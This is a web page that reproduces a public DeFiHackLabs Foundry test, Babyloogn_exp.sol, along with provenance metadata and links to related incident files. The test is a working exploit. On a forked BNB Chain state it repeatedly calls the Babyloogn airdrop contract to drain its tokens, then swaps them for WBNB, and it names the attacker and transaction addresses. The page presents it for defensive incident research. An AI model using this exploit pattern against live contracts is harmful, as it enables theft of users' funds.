Public reproduction file
src/test/2024-02/Babyloogn_exp.sol
Public reproduction file for dataset entry Babyloogn.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4// @KeyInfo - Total Lost : ~2.24 $WBNB5// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc5026// Attack Contract : https://bscscan.com/address/0x3559ee265fc9c5c9a333b07e0199480b4a84f3697// Vulnerable Contract : https://bscscan.com/address/0x971d08bba900230298add23e61e04b04226b50738// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0xd081d6bb96326be5305a6c00dd51d1799971794941576554341738abc1ceb20210import "forge-std/Test.sol";11import "./../interface.sol";13interface IBabyloognAirdrop {}15interface IBabyloognNFT {16 function setApprovalForAll(address operator, bool approved) external;17}19interface IBabyloogn {20 function approve(address spender, uint256 amount) external;21 function balanceOf(22 address account23 ) external view returns (uint256);24}26contract ContractTest is Test {27 event TokenBalance(string key, uint256 val);29 IBabyloogn Babyloogn = IBabyloogn(0x7fe5fAF242015Cf769Ae7feA565B96351Dd957A2);30 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);31 IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));32 IBabyloognAirdrop Airdrop = IBabyloognAirdrop(0x971d08bbA900230298ADD23e61E04B04226b5073);33 IBabyloognNFT BabyloognNTF = IBabyloognNFT(0x5eb47C41FC9BEcf123C9E484C51de37830842AdD);35 function setUp() public {36 vm.createSelectFork("bsc", 36_159_516 - 1);37 vm.label(address(Babyloogn), "Babyloogn");38 vm.label(address(Airdrop), "Airdrop");39 vm.label(address(BabyloognNTF), "BabyloognNTF");40 }42 function testExploit() public {43 emit log_named_uint("Attacker WBNB balance before attack", WBNB.balanceOf(address(this)));44 Babyloogn.approve(address(Router), type(uint256).max);45 BabyloognNTF.setApprovalForAll(address(Airdrop), true);47 while (Babyloogn.balanceOf(address(Airdrop)) >= 285 * 1e18) {48 (bool success,) = address(Airdrop).call(abi.encodeWithSelector(bytes4(0xfbe81135), 1, 0));49 }51 TOKENTOWBNB();52 emit log_named_uint("Attacker WBNB balance before attack", WBNB.balanceOf(address(this)));53 }55 function TOKENTOWBNB() internal {56 address[] memory path = new address[](2);57 path[0] = address(Babyloogn);58 path[1] = address(WBNB);59 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(60 Babyloogn.balanceOf(address(this)), 0, path, address(this), block.timestamp61 );62 }64 fallback() external payable {}65 receive() external payable {}66}Analysis
Dataset entry
Public Foundry test for “Babyloogn” (2024-02-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
21 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-02/ADC_exp.solSame month in the dataset · 105 lines
- src/test/2024-02/AffineDeFi_exp.solSame month in the dataset · 73 lines
- src/test/2024-02/BlueberryProtocol_exp.solSame month in the dataset · 125 lines
- src/test/2024-02/BurnsDefi_exp.solSame month in the dataset · 135 lines
- src/test/2024-02/CompoundUni_exp.solSame month in the dataset · 147 lines
- src/test/2024-02/DeezNutz404_exp.solSame month in the dataset · 67 lines
- src/test/2024-02/DualPools_exp.solSame month in the dataset · 219 lines
- src/test/2024-02/EGGX_exp.solSame month in the dataset · 142 lines
- src/test/2024-02/DN404_exp.solSame month in the dataset · 65 lines
- src/test/2024-02/GAIN_exp.solSame month in the dataset · 69 lines
- src/test/2024-02/Game_exp.solSame month in the dataset · 61 lines
- src/test/2024-02/Miner_exp.solSame month in the dataset · 75 lines
- src/test/2024-02/MINER_bsc_exp.solSame month in the dataset · 66 lines
- src/test/2024-02/PANDORA_exp.solSame month in the dataset · 48 lines
- src/test/2024-02/ParticleTrade_exp.solSame month in the dataset · 115 lines
- src/test/2024-02/RuggedArt_exp.solSame month in the dataset · 138 lines
- src/test/2024-02/Seneca_exp.solSame month in the dataset · 68 lines
- src/test/2024-02/SMOOFSStaking_exp.solSame month in the dataset · 77 lines
- src/test/2024-02/SwarmMarkets_exp.solSame month in the dataset · 57 lines
- src/test/2024-02/Zoomer_exp.solSame month in the dataset · 97 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x835b45d38cbdccf99e609436ff38e31ac05bc502
- Attack Contract
0x3559ee265fc9c5c9a333b07e0199480b4a84f369
- Vulnerable Contract
0x971d08bba900230298add23e61e04b04226b5073
- Attack Tx
0xd081d6bb96326be5305a6c00dd51d1799971794941576554341738abc1ceb202
File record
- Name
- Babyloogn
- Path
- src/test/2024-02/Babyloogn_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 8b06e048e6bdcd673b5a0b5bf3d203c8f97e4f40
- Language
- Solidity
- Size
- 67 lines
- Date
- 2024-02-15
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-02/Babyloogn_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8b06e048e6bdcd673b5a0b5bf3d203c8f97e4f40, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.